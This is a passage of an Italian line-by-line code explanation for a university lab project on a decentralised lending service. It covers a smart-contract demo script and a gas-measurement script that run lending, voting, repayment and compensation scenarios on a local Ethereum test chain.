46-48	`RPC_URL, CHAIN_ID`	Env override.
49		Vuota.
50-52	`BTC_ADDRESS default '1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa' (genesis coinbase, 50 BTC = 1500 ETH equivalent)`	Address BTC default per il check di liquidità.
53		Vuota.
54	`ORACLE_EVENT_TIMEOUT_S = int(os.environ.get("ORACLE_TIMEOUT", "120"))`	Timeout per attendere BalanceUpdated.
55		Vuota.
56-58	`# Demo numeric parameters (wei)`	Commento parametri.
59-62	`DEPOSITS = [1 ETH, 2 ETH, 3 ETH]`	Depositi per contributor.
63	`WITHDRAW_WEI = Web3.to_wei("0.3", "ether")`	Withdraw test.
64		Vuota.
65-68	`LOAN1_AMOUNT, LOAN1_RATE, LOAN1_DURATION, REPAY1_MID`	Parametri loan 1.
69	`# REPAY1_CLOSE computed at runtime`	Commento.
70		Vuota.
71-74	`LOAN2_AMOUNT, LOAN2_RATE, LOAN2_DURATION, LATE_REPAY`	Parametri loan 2 (failed scenario).
75		Vuota.
76	`# ■■ Stdout dup → file ■■■■■`	Divider.
77		Vuota.
78	`class Tee:`	Classe per duplicare stdout su file.
79	`def __init__(self, *streams):`	Costruttore con N stream.
80	`self.streams = streams`	Salva.
81	`def write(self, data):`	Write a tutti.
82-87	`for s in self.streams: try: s.write(data); s.flush(); except ValueError: pass`	Loop write+flush, ignora streams chiusi.
88	`def flush(self):`	Flush all.
89-93	`for s in self.streams: try: s.flush(); except ValueError: pass`	Loop.
94		Vuota.
95	`# ■■ Helpers ■■■■■`	Divider.
96		Vuota.
97	`def banner(title):`	Stampa banner.
98	`print()`	Vuota.
99	`print("=" * 72)`	Bordi.

L#	Codice	Spiegazione
100	`print(f" {title}")`	Titolo.
101	`print("=" * 72)`	Bordi.
102		Vuota.
103	`def section(title):`	Sezione minore.
104-106	`print(); print(f"■■ {title} ■■")`	Print.
107		Vuota.
108	`def fmt_eth(wei):`	Formatta wei → ETH.
109	`return f"{Web3.from_wei(int(wei), 'ether'):.6f} ETH"`	6 decimali.
110		Vuota.
111	`def fmt_wei(v):`	Formatta wei con separatore.
112	`return f"{int(v):,} wei"`	Format.
113		Vuota.
114	`def load_json(path):`	Carica JSON con check esistenza.
115-118	`if not path.exists(): sys.exit(...); with open: return json.load`	Standard.
119		Vuota.
120	`def send_tx(w3, account, fn_call, value=0, gas=600_000):`	Helper sign+send+receipt.
121	`nonce = w3.eth.get_transaction_count(account.address)`	Nonce.
122-128	`tx = fn_call.build_transaction({...})`	Build.
129	`signed = w3.eth.account.sign_transaction(tx, account.key)`	Firma.
130	`h = w3.eth.send_raw_transaction(signed.raw_transaction)`	Invia.
131	`rcpt = w3.eth.wait_for_transaction_receipt(h)`	Attende.
132	`if rcpt.status != 1:`	Sanity.
133	`sys.exit(f"ERROR: tx reverted (hash=0x{h.hex()})")`	Exit.
134	`return rcpt`	Ritorna.
135		Vuota.
136	`def mine_blocks(w3, n):`	Avanza n blocchi (multi-strategia).
137-143	`"""Advance n blocks. Tries hardhat_mine / evm_mine first..."""`	Docstring.
144	`if n <= 0: return`	Skip.
145	`target = w3.eth.block_number + n`	Target.
146-147	`# Try RPC-driven mining first.`	Commento.
148-159	`for method, args in (...): try ... except: pass`	Tenta hardhat_mine poi evm_mine. Se nessuno funziona, fallback passive.
160-161	`# Passive wait: node mines on its own (e.g. Clique PoA).`	Commento.
162-165	`print(...); while w3.eth.block_number < target: time.sleep(2); print('reached')`	Polling per Clique che mina su schedule fisso.
166		Vuota.
167	`def parse_events(rcpt, contract, event_name):`	Estrae eventi tipizzati.
168	`ev = getattr(contract.events, event_name)()`	Reference dinamica all'evento.
169	`return ev.process_receipt(rcpt, errors=DISCARD)`	Parse + ritorna lista.
170		Vuota.
171	`def print_events(rcpt, contract, names):`	Stampa eventi per i nomi dati.
172	`for name in names:`	Loop.
173	`for ev in parse_events(rcpt, contract, name):`	Loop.
174	`args = dict(ev["args"])`	Args dict.
175-179	`pretty = {k: (fmt_eth(v) if isinstance(v, int) and v >= 10**12 else v) for k, v in args.items()}`	Format ETH per valori grandi.
180	`print(f" event {name}: {pretty}")`	Stampa.
181		Vuota.
182	`def print_pool_state(pool, label=""):`	Stampa stato pool.
183	`print(f" [{label} pool state]")`	Header.
184-188	`print totalFundingPool/totalLocked/totalDisposable/compensationPool/collateralPct`	Read on-chain e stampa.
189		Vuota.

L#	Codice	Spiegazione
190	`def print_contributor_state(w3, pool, accounts):`	Stampa stato contributor.
191	`for label, acc in accounts:`	Loop.
192	`bal = w3.eth.get_balance(acc.address)`	Wallet balance.
193	`dep = pool.functions.deposits(acc.address).call()`	Deposits.
194	`lock = pool.functions.lockedValue(acc.address).call()`	Locked.
195	`disp = pool.functions.disposableValue(acc.address).call()`	Disp.
196-200	`print(f" {label:<14} {acc.address} ... wallet/deposits/locked/disposable ...")`	Stampa allineata.
201		Vuota.
202	`def print_applicant_state(w3, accounts):`	Stampa wallet applicant.
203	`for label, acc in accounts:`	Loop.
204	`bal = w3.eth.get_balance(acc.address)`	Wallet.
205	`print(f" {label:<14} {acc.address} wallet={fmt_eth(bal)}")`	Stampa.
206		Vuota.
207-216	`def wait_for_balance_updated(w3, oracle, from_block, btc_hash, timeout_s):`	Attende evento BalanceUpdated dall'oracle off-chain. Polling via eth_getLogs.
217-219	`logs = oracle.events.BalanceUpdated.get_logs( from_block=..., argument_filters={...})`	Query log con filtro su btcAddressHash.
220-224	`if logs: return logs[-1]; time.sleep(2)`	Polling.
225	`sys.exit(f"ERROR: timed out after {timeout_s}s...")`	Timeout.
226		Vuota.
227	`def lookup_loan_address(rcpt, pool):`	Trova address loan da receipt resolveProposal.
228	`for ev in parse_events(rcpt, pool, "ProposalApproved"):`	Filtra evento.
229	`return ev["args"]["loanContract"], ev["args"]["loanedAmount"]`	Ritorna.
230	`return None, None`	Se non approvata.
231		Vuota.
232	`def print_loan_state(loan, label=""):`	Stampa stato LoanContract.
233	`n = loan.functions.contributorCount().call()`	Numero contributor.
234-244	`print applicant/loanedAmount/collateralPct/expiry/remaining/status/contributorCount + loop contributors`	Read+print di tutti i campi rilevanti.
245-250	`for i in range(n): print(f" #{i} {addr} initialLocked=... unlockedSoFar=... alreadyCompensated=... compRecovered=...")`	Per ogni contributor stampa quote + flussi.
251		Vuota.
252	`# ■■ Main ■■■■■`	Divider.
253		Vuota.
254	`def main():`	Entry-point.
255	`DATA_DIR.mkdir(parents=True, exist_ok=True)`	Crea dir se manca.
256	`log_handle = open(LOG_FILE, "w")`	Apri log.
257	`sys.stdout = Tee(sys.__stdout__, log_handle)`	Duplica stdout.
258		Vuota.
259	`banner("DemoOperations — P2PBC Decentralised Lending Service")`	Banner.
260	`print(f"RPC: {RPC_URL} chainId: {CHAIN_ID}")`	Log.
261	`print(f"Log file: {LOG_FILE}")`	Log.
262		Vuota.
263	`# Load config + accounts`	Commento.
264-267	`accounts_data/pool_info/oracle_info/loan_artifact = load_json(...)`	Carica i 4 JSON.
268		Vuota.
269-272	`if len(accounts_data.get("contributors", [])) < 3: sys.exit(...) / applicants < 2: sys.exit`	Sanity: serve almeno 3 contrib + 2 applicant.
273		Vuota.
274	`contributors = [Account.from_key(c["key"]) for c in accounts_data["contributors"][:3]]`	Carica 3 contributor.
275	`applicants = [Account.from_key(a["key"]) for a in accounts_data["applicants"][:2]]`	Carica 2 applicant.
276	`a0, a1 = applicants`	Unpack.

L#	Codice	Spiegazione
277		Vuota.
278	`# Connect + sanity check`	Commento.
279-286	`w3 = Web3(...); sanity is_connected + chain_id match`	Connect e check.
287	`pool = w3.eth.contract(address=pool_info["proxy"], abi=pool_info["abi"])`	Istanzia.
288	`oracle = w3.eth.contract(address=oracle_info["address"], abi=oracle_info["abi"])`	Istanzia.
289	`loan_abi = loan_artifact["abi"]`	ABI loan (per istanziare dopo resolveProposal).
290		Vuota.
291-293	`print(f"LendingPool proxy: ..."); print(...oracle...); print(...BTC...)`	Log.
294	`btc_hash = Web3.keccak(text=BTC_ADDRESS)`	Hash BTC address.
295	`print(f" → btcAddressHash = 0x{btc_hash.hex()}")`	Log.
296		Vuota.
297	`contrib_labels = [(f"contrib[{i}]", c) for i, c in enumerate(contributors)]`	Tuple.
298	`applic_labels = [(f"applicant[{i}]", a) for i, a in enumerate(applicants)]`	Tuple.
299		Vuota.
300-306	`# Step 1: setup balances`	Step 1: stato iniziale.
307-310	`banner('Step 1/16 — initial balances'); print_pool_state; print_contributor_state; print_applicant_state`	Stampa stato pre-tutto.
311		Vuota.
312-317	`# Step 2: deposits — banner + loop deposit(...) + print events + state`	Step 2: 3 deposit con valori DEPOSITS.
318		Vuota.
319-328	`# Step 3: partial withdraw 0.3 ETH from contrib[0]`	Step 3: withdraw test, mostra disposable pre/post + pool state.
329		Vuota.
330-352	`# Step 4: oracle update request (requestOracleUpdate)`	Step 4: requestOracleUpdate con MIN_ORACLE_FEE → attende BalanceUpdated → verifica eth_equiv ≥ LOAN1_AMOUNT.
353		Vuota.
354-373	`# Step 5: submitProposal`	Step 5: submitProposal(amount, rate, duration, btc_hash) e stampa proposal id + dettagli.
374		Vuota.
375-387	`# Step 6: voting`	Step 6: 3 voti misti (REJECT/APPROVE/APPROVE) pesati 0.7/2/3 → yes 5 > no 0.7 → passa.
388		Vuota.
389-395	`# Step 7: mine voting period`	Step 7: mining PROPOSAL_VOTING_PERIOD+1 blocchi (su Clique = passive).
396		Vuota.
397-408	`# Step 8: resolve proposal`	Step 8: resolveProposal, lookup loan_addr, exit se rejected.
409		Vuota.
410-418	`# Step 9: inspect new LoanContract`	Step 9: stato del LoanContract + contributori + applicanti post-disbursement + pool post-resolve.
419		Vuota.
420-430	`# Step 10: partialRepay (mid)`	Step 10: rimborso mid 0.4 ETH e stato dopo.
431		Vuota.
432-454	`# Step 11: partialRepay (close successful)`	Step 11: calcola interest=remaining*RATE/100 e invia remaining+interest → close → status 2 + collateral -5.
455		Vuota.
456-487	`# Step 12: failed-loan scenario — proposal 2`	Step 12: applicant[1] propone, tutti approve, resolve, no rimborso, mining oltre expiry.
488		Vuota.
489-512	`# Step 13: requestCompensation (contrib[2] — quota maggiore)`	Step 13: claim compensation, marks failed +collateral +5, stampa alreadyCompensated.
513		Vuota.
514-523	`# Step 14: late partialRepay on Failed loan`	Step 14: applicant[1] rimborsa 0.25 ETH → waterfall saturates largest first.
524		Vuota.

L#	Codice	Spiegazione
525-553	`        # Step 15: second compensation claim (refilled pool)`	Step 15: claim secondario; verify MarkedFailed NON ri-emesso e collateral non cambia.
554		Vuota.
555-565	`        # Step 16: final state`	Step 16: pool/contributors/applicants/loan registry/proposalCount finali.
566	`        banner("Demo completed.")`	Banner finale.
567	`        log_handle.close()`	Chiudi log.
568		Vuota.
569	`        if __name__ == "__main__":`	Entry.
570	`        main()`	Esegui.

scripts/GasMeasurement.py

Misura gas per ogni operazione utente del sistema (Spec §1.5). 20 scenari, output CSV.

L#	Codice	Spiegazione
1-47	`Module docstring`	Spiega scopo, scenari coperti, isolamento di stato (oracle riusato via hash diverso, pool ri-deployata per ogni gruppo), dipendenze, output.
49	`from __future__ import annotations`	PEP 563.
50		Vuota.
51-58	`import csv, json, os, sys, time / dataclasses / pathlib / typing`	Stdlib + dataclass per GasRow + typing per List.
59		Vuota.
60-62	`from eth_account/web3/web3.logs DISCARD`	Importi noti dagli altri script.
63		Vuota.
64	`# ■■ Paths (mirror InitialSetup.py) ■■■■■`	Divider.
65		Vuota.
66-83	`PROJECT_ROOT/DATA_DIR/ARTIFACTS + KEYSTORE_PATH/PASSWORD_FILE/ORACLE_ARTIFACT/POOL_ARTIFACT/PROXY_ARTIFACT/LOAN_ARTIFACT/REPORT_CSV`	Path standard (allineati a InitialSetup.py).
84	`REPORT_CSV = DATA_DIR / "gas_report.csv"`	File CSV di output.
85		Vuota.
86	`# ■■ Config (env-overridable) ■■■■■`	Divider.
87		Vuota.
88-89	`RPC_URL = ... ; CHAIN_ID = ...`	Env.
90		Vuota.
91-95	`CONTRIB_N_VARIANTS = [int(x) for x in os.environ.get("N_VARIANTS", "2,5,10").split(",") if x.strip()]`	Variants per resolveProposal Approved. Default 2/5/10. Env-overridable.
96	`# Always have enough workers for the largest N variant + the 3-contrib weighted scenario`	Commento.
97	`MAX_CONTRIBS_NEEDED = max(CONTRIB_N_VARIANTS + [3])`	Almeno 3 (weighted vote rejection).
98	`N_APPLICANTS = 3`	3 applicant fissi.
99		Vuota.
100	`FUND_DEPLOYER = 5.0`	ETH deployer.
101	`FUND_ORACLE_OP = 1.0`	ETH operator.
102-105	`# Contributors are reused across all scenario groups...`	Commento: ogni group ri-deploya pool, ma i contributor stessi sono shared.
106	`FUND_CONTRIBUTOR = 20.0`	Più alto perché ogni group costa un deposit fresco.
107-109	`# Applicants pay gas + occasionally outflow remaining+interest...`	Commento.
110	`FUND_APPLICANT = 15.0`	Tunable per coprire chiusure successful + overpay.
111		Vuota.
112-113	`# Per-deposit default amount`	Commento.
114	`DEPOSIT_WEI = Web3.to_wei("1", "ether")`	1 ETH per ogni deposit di scenario.
115		Vuota.
116-118	`# Minimum deposit per contract (spec §1.3, constant fixed)`	Commento.
119	`MIN_DEPOSIT = 100_000 # wei`	Spec §1.3.
120		Vuota.
121-122	`# Loan defaults for the repay/compensation scenarios.`	Commento.
123-125	`DEFAULT_LOAN_AMOUNT, DEFAULT_LOAN_RATE, DEFAULT_LOAN_DURATION = 0.4 ETH, 20, 20`	Default per scenari rimborso/compensazione.
126		Vuota.
127-128	`# Spec §1.3: 1 BTC = 30 ETH, 1 BTC = 1e8 sat.`	Commento.
129	`LARGE_BTC_SAT = 10_000_000_000 # 100 BTC = 3000 ETH equivalent`	Per scenari che devono passare il check di liquidità.
130	`TINY_BTC_SAT = 1_000`	Per scenario rejection BTC.
131		Vuota.
132-133	`# Spec constant — proposal voting period (block height delta).`	Commento.
134	`VOTING_PERIOD = 12`	Spec §1.3.
135		Vuota.
136	`# ■■ Helpers ■■■■■`	Divider.
137		Vuota.

L#	Codice	Spiegazione
138-144	`def load_artifact(path: Path) -> dict:`	Load artifact con check esistenza.
145		Vuota.
146	`@dataclass`	Decoratore.
147-152	`class GasRow: op_name, scenario, gas_used, gas_price_gwei, cost_eth`	Dataclass con i campi del CSV finale.
153		Vuota.
154	`# ■■ Bench: shared state + helpers ■■■■■`	Divider.
155		Vuota.
156	`class Bench:`	Classe principale: orchestrator.
157-164	`"""Drives genesis funding, deployments, tx sends, and gas recording..."""`	Docstring: ruolo della Bench class.
165-176	`def __init__(self, w3, genesis_key, genesis_addr, artifacts):`	Costruttore. Salva client, chiave sealer, nonce iniziale, artifacts, lista rows vuota.
177		Vuota.
178	`# ■■ Funding ■■■■■`	Divider.
179		Vuota.
180-189	`def fund(self, to_addr, eth):`	Trasferimento ETH dal sealer (Spec §1.5: solo trasferimenti).
190	`self.genesis_nonce += 1`	Bump nonce.
191		Vuota.
192-195	`def new_account(self, eth): a = Account.create(); self.fund(a.address, eth); return a`	Helper: crea account + funda subito.
196		Vuota.
197	`# ■■ Tx send / measurement ■■■■■`	Divider.
198		Vuota.
199-214	`def send(self, account, fn_call, value=0, gas=600_000):`	Helper sign+send+wait (per setup, non per misura). Exit on revert.
215		Vuota.
216-246	`def measure(self, op_name, scenario, account, fn_call, value=0, gas=3_000_000):`	Funzione critica: come send() ma registra gasUsed/effectiveGasPrice in una GasRow.
231-234	`eff_gp = rcpt.effectiveGasPrice; gp_gwei = eff_gp / 1e9; cost_eth = (rcpt.gasUsed * eff_gp) / 1e18`	Calcola costo.
237-239	`row = GasRow(op_name, scenario, rcpt.gasUsed, gp_gwei, cost_eth); self.rows.append(row)`	Salva.
240-244	`print(f" ✓ {op_name} [...] gas={...} gp={...} cost={...}")`	Stampa allineata.
245	`return rcpt`	Ritorna receipt.
246		Vuota.
247	`# ■■ Mining (hardhat_mine / evm_mine / passive fallback) ■■■■■`	Divider.
248		Vuota.
249-265	`def mine_blocks(self, n):`	Stessa logica di DemoOperations: prova hardhat_mine, evm_mine, fallback passive sleep.
266		Vuota.
267	`# ■■ Deployments ■■■■■`	Divider.
268		Vuota.
269-289	`def deploy_oracle(self, operator):`	Deploy BitcoinOracle dall'operator. Ritorna contract object.
290		Vuota.
291-336	`def deploy_pool(self, deployer, oracle_addr):`	Deploy LendingPool impl + ERC1967Proxy con initialize. Ritorna (pool_via_proxy, impl_addr).
313-314	`init_data = impl_iface.encode_abi("initialize", args=[oracle_addr])`	Encoda i calldata.
315-318	`Proxy = w3.eth.contract(abi=proxy_art["abi"], bytecode=proxy_art["bytecode"])`	Factory proxy.
337		Vuota.
338-359	`def deploy_pool_impl(self, deployer):`	Deploy bare LendingPool impl (no proxy) — usata come v2 target per upgrade.
360		Vuota.
361	`# ■■ Oracle seed (direct, bypasses off-chain service) ■■■■■`	Divider.
362		Vuota.
363-365	`def seed_btc(self, oracle, operator, btc_hash, satoshi):`	Setta direttamente il saldo nell'oracle bypassando il flusso requestUpdate→oracle_service. Per setup veloce.

L#	Codice	Spiegazione
366		Vuota.
367	`# ■■ Loan-build helper (used by repay + compensation scenarios) ■■■■■`	Divider.
368		Vuota.
369-397	`def build_loan(self, pool, oracle, oracle_op, contribs, applicant, btc_hash, amount, rate=20, duration=20):`	Helper end-to-end: deposit (se serve) → seed oracle → submitProposal → tutti approvano → mine voting period → resolve → ritorna LoanContract.
382-389	`rcpt = self.send(applicant, pool.functions.submitProposal(...))`	Proposta.
390-391	`pid = pool.events.ProposalSubmitted().process_receipt(rcpt)[0]["args"]["proposalId"]`	Estrae proposal id.
392-393	`for c in contribs: self.send(c, pool.functions.vote(pid, True), ...)`	Tutti votano APPROVE.
394	`self.mine_blocks(VOTING_PERIOD + 1)`	Avanza.
395-396	`rcpt = self.send(applicant, pool.functions.resolveProposal(pid), gas=5_000_000)`	Resolve.
397	`approved = pool.events.ProposalApproved().process_receipt(rcpt)`	Estrae evento.
398	`if not approved: sys.exit("build_loan: proposal unexpectedly rejected")`	Sanity.
399	`loan_addr = approved[0]["args"]["loanContract"]`	Address loan.
400-401	`loan = w3.eth.contract(address=loan_addr, abi=self.loan_art["abi"])`	Istanzia.
402	`return loan`	Ritorna.
403		Vuota.
404	`# ■■ Scenario groups ■■■■■`	Divider.
405		Vuota.
406-432	`def run_simple_ops(self, deployer, oracle, oracle_op, contribs, applicants):`	Group 1: deposit (new/existing), withdraw partial, requestOracleUpdate forward.
418-421	`self.measure('deposit', 'new contributor', c_new, pool.functions.deposit(), value=DEPOSIT_WEI, gas=200_000)`	Misura deposit nuovo.
422-425	`self.measure('deposit', 'existing contributor', ...) — secondo deposit dello stesso account`	Misura deposit esistente (più economico: no append a _contributorList).
426-429	`self.measure('withdraw', 'partial', c_new, pool.functions.withdraw(0.1 ETH))`	Misura withdraw.
430-431	`min_fee = oracle.functions.MIN_ORACLE_FEE().call()`	Read fee.
432-436	`self.measure('requestOracleUpdate', 'via pool forward', applicant, pool.functions.requestOracleUpdate(btc_hash), value=min_fee)`	Misura forward.
437		Vuota.
438-457	`def run_propose_vote(self, ...):`	Group 2: submitProposal valid + vote approve + vote reject.
447-455	`submitProposal valid (amount<=disp, btc ok) — misura`	Costruisce proposta e la misura.
456-462	`vote approve / vote reject — entrambe misurate`	Notare gas: approve include push su array (più caro).
463		Vuota.
464-487	`def run_resolve_approved(self, n, ...):`	Group 3: resolveProposal Approved con N contributor (drive loop _contributorList).
477	`for c in used: self.send(c, pool.functions.deposit(), value=DEPOSIT_WEI)`	Deposit per N.
478-484	`self.seed_btc + send submitProposal + vote all approve + mine_blocks`	Setup standard.
485-487	`self.measure('resolveProposal', f'Approved (N={n})', applicant, pool.functions.resolveProposal(pid), gas=6_000_000)`	*** Misura principale per N: scala come O(N²) sort + O(N) loop. ***
488		Vuota.
489-517	`def run_resolve_rejected_pool_low(self, ...):`	Group 4: pool totale < amount → early reject. Misura il costo del path corto.
498	`tiny = MIN_DEPOSIT * 5`	Deposit minuscolo intenzionale.
499-500	`send deposit tiny per c0 e c1`	Setup.
501	`self.seed_btc(..., LARGE_BTC_SAT)`	BTC OK per isolare il rejection sul pool.

L#	Codice	Spiegazione
502-516	`submitProposal amount=1 ETH >> pool; mine + measure resolveProposal Rejected (pool low)`	Esegue + misura.
518		Vuota.
519-545	`def run_resolve_rejected_btc(self, ...):`	Group 5: oracle ETH equivalent < amount → early reject BTC.
528-529	`deposit 1 ETH per c0 e c1`	Pool OK.
530	`self.seed_btc(..., TINY_BTC_SAT)`	BTC bassa intenzionale.
531-544	`submitProposal + mine + measure resolveProposal Rejected (btc liquidity)`	Misura.
546		Vuota.
547-576	`def run_resolve_rejected_weighted(self, ...):`	Group 6: weighted vote fallisce (c0 piccolo approva, c1/c2 grandi astengono).
557-559	`deposit c0 MIN_DEPOSIT*20; deposit c1, c2 1 ETH`	Pesi sbilanciati: yes weight = piccolo, no weight = ~2 ETH.
562-568	`submitProposal amount piccola (>= yes weight) ma << totalDisp`	Configurazione che fallirà weighted check.
570	`self.send(c0, pool.functions.vote(pid, True), gas=200_000)`	Solo c0 approva.
571-575	`mine + measure resolveProposal Rejected (weighted vote)`	Misura.
577		Vuota.
578-617	`def run_repay_scenarios(self, ...):`	Group 7: partialRepay mid, close (Successful), overpay — su 2 loan separati.
589-592	`loan1 = build_loan(used, applicant, amount); mid_value = remaining // 2`	Loan 1 e calcola metà residuo.
593-596	`self.measure('partialRepay', 'mid (no overpay)', applicant, loan1.functions.partialRepay(), value=mid_value)`	Misura mid.
597-603	`remaining2 = loan1.functions.remainingLoanAmount().call(); interest = remaining2*RATE/100; measure 'close Successful' value=remaining2+interest`	Chiude loan1 completamente.
604-616	`loan2 = build_loan(...); overpay = remaining + interest + 0.1 ETH; measure 'overpay (extra interest)'`	Loan 2: overpay (extra rispetto al richiesto).
618		Vuota.
619-683	`def run_compensation_and_failed_repay(self, ...):`	Group 8: requestCompensation first + subsequent + partialRepay on Failed.
624-628	`used = sorted(contribs[:2], key=lambda c: int(c.address, 16)); claimer = used[0]`	Ordina per address ASC — il claimer sarà quello con tie-break ASC (first in waterfall).
629-640	`loan_seed1 = build_loan(used, applicant2, ...) + repay completo`	Seed comp pool tramite Successful loan.
641-647	`loan_fail = build_loan(used, applicant, duration=10); mine_blocks(15) — past expiry`	Crea + scade loan da fallire.
648-653	`self.measure('requestCompensation', 'first call (marks Failed)', claimer, loan_fail.functions.requestCompensation())`	Misura prima richiesta (marca Failed + collateral +5).
654-666	`loan_seed2 = build_loan + repay completo — refill comp pool`	Refill.
667-673	`self.measure('requestCompensation', 'subsequent (refill claim)', ...)`	Misura claim successivo.
674-682	`self.measure('partialRepay', 'on Failed loan (proportional split)', applicant, loan_fail.functions.partialRepay(), value=0.05 ETH)`	Misura partial repay con proportional forfeit attivo.
683		Vuota.
684-693	`def run_upgrade(self, deployer, oracle):`	Group 9: misura UUPS upgrade.
685	`pool, _ = self.deploy_pool(deployer, oracle.address)`	Fresh pool.
686-688	`# Same bytecode is a valid UUPS target — proxiableUUID returns the ERC-1967 implementation slot`	Commento: usiamo la stessa bytecode dell'impl come v2 (semplice swap).
689	`v2_addr = self.deploy_pool_impl(deployer)`	Deploya impl v2 bare.
690-693	`self.measure('upgradeToAndCall', 'UUPS v2 swap', deployer, pool.functions.upgradeToAndCall(v2_addr, b''), gas=200_000)`	Misura upgrade.
694		Vuota.

L#	Codice	Spiegazione
695		Vuota.
696	`# ■■ Output ■■■■■`	Divider.
697		Vuota.
698-708	`def write_csv(rows, path):`	Scrive CSV con header (op_name, scenario, gas_used, gas_price_gwei, cost_eth).
709		Vuota.
710-720	`def print_table(rows):`	Stampa tabella allineata su stdout.
721		Vuota.
722-738	`def print_summary(rows):`	Riepilogo: totali, riga più cara/economica.
739		Vuota.
740		Vuota.
741	`# ■■ Main ■■■■■`	Divider.
742		Vuota.
743		Vuota.
744	`def main() -> int:`	Entry-point.
745-753	`Connect; chain_id check; print connection info`	Setup connessione.
754		Vuota.
755-757	`# Genesis sealer (only allowed use per spec §1.5...)`	Commento spec compliance.
758-765	`if not PASSWORD_FILE/KEYSTORE_PATH: exit; pw + ks read; genesis_key = Account.decrypt; print genesis_addr`	Unlock sealer.
766		Vuota.
767-773	`artifacts = {"oracle":..., "pool":..., "proxy":..., "loan":...}`	Carica tutti gli artifact.
774		Vuota.
775	`bench = Bench(w3, genesis_key, genesis_addr, artifacts)`	Istanzia Bench.
776		Vuota.
777-779	`# Worker accounts (reused across scenarios — per-pool state is fresh because each scenario group deploys its own LendingPool).`	Commento.
780	`print(...funding banner...)`	Log.
781-786	`deployer = bench.new_account(FUND_DEPLOYER) ... applicants = [...]`	Crea worker.
787-789	`print log deployer/oracle_op`	Log.
790		Vuota.
791-793	`print("\n■■ Deploying shared BitcoinOracle ■■")`	Log.
794	`oracle = bench.deploy_oracle(oracle_op)`	Deploy shared oracle.
795	`print(f" oracle: {oracle.address} operator={oracle_op.address}")`	Log.
796		Vuota.
797	`# ■■ Run scenarios ■■■■■`	Divider.
798	`bench.run_simple_ops(...)`	Group 1.
799	`bench.run_propose_vote(...)`	Group 2.
800	`for n in CONTRIB_N_VARIANTS:`	Loop su N.
801-804	`if n > len(contribs): warn + skip; else: bench.run_resolve_approved(n, ...)`	Group 3, parametrizzato.
805	`bench.run_resolve_rejected_pool_low(...)`	Group 4.
806	`bench.run_resolve_rejected_btc(...)`	Group 5.
807	`bench.run_resolve_rejected_weighted(...)`	Group 6.
808	`bench.run_repay_scenarios(...)`	Group 7.
809-811	`bench.run_compensation_and_failed_repay(deployer, oracle, oracle_op, contribs, applicants)`	Group 8.
812	`bench.run_upgrade(deployer, oracle)`	Group 9.
813		Vuota.
814	`# ■■ Output ■■■■■`	Divider.
815	`write_csv(bench.rows, REPORT_CSV)`	Write CSV.
816	`print(f"\nWrote CSV: {REPORT_CSV}")`	Log.
817	`print_table(bench.rows)`	Tabella stdout.
818	`print_summary(bench.rows)`	Sommario.
819		Vuota.

L#	Codice	Spiegazione
820	`    return 0`	Exit 0.
821		Vuota.
822	`if __name__ == "__main__":`	Entry.
823	`    sys.exit(main())`	Esegui.

Fine documento. Per il riferimento normativo completo del progetto: *docs/v011_ProjectP2PBC_LAB2526.pdf*. Per overview architetturale: *docs/DETTAGLI_PROGETTO.pdf*. Per riassunto consegna: *report.pdf*.